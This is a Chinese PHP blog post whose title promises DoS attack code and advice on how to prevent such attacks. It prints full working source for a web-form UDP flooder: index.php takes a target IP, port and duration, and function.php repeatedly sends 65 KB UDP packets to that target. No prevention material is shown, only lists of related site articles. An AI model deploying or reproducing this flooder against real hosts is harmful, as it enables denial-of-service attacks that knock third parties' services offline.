php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
php自动跳转中英文页面
Jul 29 PHP
基于Snoopy的PHP近似完美获取网站编码的代码
Oct 23 PHP
如何用phpmyadmin设置mysql数据库用户的权限
Jan 09 PHP
PHP实现图片旋转效果实例代码
Oct 01 PHP
PHP中UNIX时间戳和日期间的转换与计算实例
Nov 19 PHP
Symfony数据校验方法实例分析
Jan 26 PHP
typecho插件编写教程(四):插件挂载
May 28 PHP
PHP中的Trait 特性及作用
Apr 03 PHP
PHP函数rtrim()使用中的怪异现象分析
Feb 24 PHP
PHP微信H5支付开发实例
Jul 25 PHP
PHP 实现base64编码文件上传出现问题详解
Sep 01 PHP
php中yar框架实例用法讲解
Dec 27 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
在WAMP环境下搭建ZendDebugger php调试工具的方法
2011/07/18 PHP
关于UEditor编辑器远程图片上传失败的解决办法
2012/08/31 PHP
PHP迭代器和生成器用法实例分析
2019/09/28 PHP
如何使用jQuery来处理图片坏链具体实现步骤
2013/05/02 Javascript
使用原生js写的一个简单slider
2014/04/29 Javascript
jQuery操作cookie方法实例教程
2014/11/25 Javascript
javascript实现playfair和hill密码算法
2014/12/07 Javascript
Javascript实现图片轮播效果(一)让图片跳动起来
2016/02/17 Javascript
原生js仿浏览器滚动条效果
2017/03/02 Javascript
详解Angular.js数据绑定时自动转义html标签及内容
2017/03/30 Javascript
vue基于Element构建自定义树的示例代码
2017/09/19 Javascript
ES6 系列之 Generator 的自动执行的方法示例
2018/10/19 Javascript
layer关闭弹出窗口触发表单提交问题的处理方法
2019/09/25 Javascript
Vue 开发必须知道的36个技巧(小结)
2019/10/09 Javascript
jQuery操作选中select下拉框的值代码实例
2020/02/07 jQuery
[02:56]DOTA2亚洲邀请赛 VG出场战队巡礼
2015/02/07 DOTA
[01:11:21]DOTA2-DPC中国联赛 正赛 VG vs Elephant BO3 第一场 3月6日
2021/03/11 DOTA
从零学python系列之数据处理编程实例(一)
2014/05/22 Python
Python random模块常用方法
2014/11/03 Python
Python对数据库操作
2016/03/28 Python
Python3转换html到pdf的不同解决方案
2019/03/11 Python
python解析yaml文件过程详解
2019/08/30 Python
Python中断多重循环的思路总结
2019/10/04 Python
在OpenCV里实现条码区域识别的方法示例
2019/12/04 Python
Keras 中Leaky ReLU等高级激活函数的用法
2020/07/05 Python
超30万乐谱下载:Musicnotes.com
2016/09/24 全球购物
巴西男士胡须和头发护理产品商店:Beard
2017/11/13 全球购物
将一个数的从第5位开始的7个数取出,其余位置0
2016/05/26 面试题
应届生.NET方向面试题
2015/05/23 面试题
大专学生推荐信范文
2013/11/19 职场文书
作风建设整改方案
2014/10/27 职场文书
房屋质量投诉书
2015/07/02 职场文书
同乡会致辞
2015/07/30 职场文书
创业计划书之校园超市
2019/09/12 职场文书
MySQL子查询中order by不生效问题的解决方法
2021/08/02 MySQL
Mysql8.0递归查询的简单用法示例
2021/08/04 MySQL